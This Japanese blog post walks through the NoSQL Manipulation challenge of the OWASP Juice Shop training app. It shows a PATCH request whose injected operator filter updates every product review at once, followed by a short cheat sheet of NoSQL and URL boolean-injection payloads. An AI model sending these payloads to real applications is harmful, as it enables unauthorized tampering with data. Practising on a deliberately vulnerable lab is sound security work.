Shikata Ga Nai

Private? There is no such things.

Juice ShopのNoSQL Manipulationをやってみた

Hello there, ('ω')ノ

 

複数の製品レビューを同時に更新しなさいと。

 

f:id:ThisIsOne:20210715150443p:plain

 

まずは、レビューを書いて動作確認を。

 

f:id:ThisIsOne:20210715150537p:plain

 

パラメータのあるリクエストをリピータへ。

 

f:id:ThisIsOne:20210715150630p:plain

 

PUTメソッドは、POSTと違ってリソース名を指定して。

作成もしくは更新をかけるメソッドで。

メッセージを変更して、Sendすると。

 

f:id:ThisIsOne:20210715150720p:plain

 

正常に追加されていて。

 

f:id:ThisIsOne:20210715150757p:plain

 

メソッドをGETに変更してSendしてみると。

productが1の情報がすべて取得できて。

 GET /rest/products/1/reviews

 

f:id:ThisIsOne:20210715173320p:plain

 

すべてのproductということで、番号を削除してSendしてみるとうまくいかず。

 GET /rest/products/reviews

 

f:id:ThisIsOne:20210715173239p:plain

 

番号の代わりに*でも。

 GET /rest/products/*/reviews

 

f:id:ThisIsOne:20210715173637p:plain

 

次に負の数字だと。

 GET /rest/products/-1/reviews

 

f:id:ThisIsOne:20210715173835p:plain

 

URLのパラメータに番号があると製品を指定することになるので削除して。

リソースを部分(メッセージのみ)更新したいのでPATCHメソッドに変更して。

 PATCH /rest/products/reviews

 

すべてのidを対象としたいので、ありえないidを指定してインジェクションを。

 {

  "id":{"$ne":-1},

  "message":"rev plus plus plus"

 }

 

ちなみにBoolean Injection Cheatsheetは、下記のとおりで。

 {"$ne": -1}
 {"$in": []}
 {"$and": [ {"id": 5}, {"id": 6} ]}
 {"$where": "return true"}
 {"$or": [{},{"foo":"1"}]}
 site.com/page?query=term || '1'=='1
 site.com/page?user[$ne]=nobody
 site.com/page?user=;return true

 

f:id:ThisIsOne:20210715153051p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210715153006p:plain

 

念のため確認を。

 

f:id:ThisIsOne:20210715153821p:plain

 

Best regards, (^^ゞ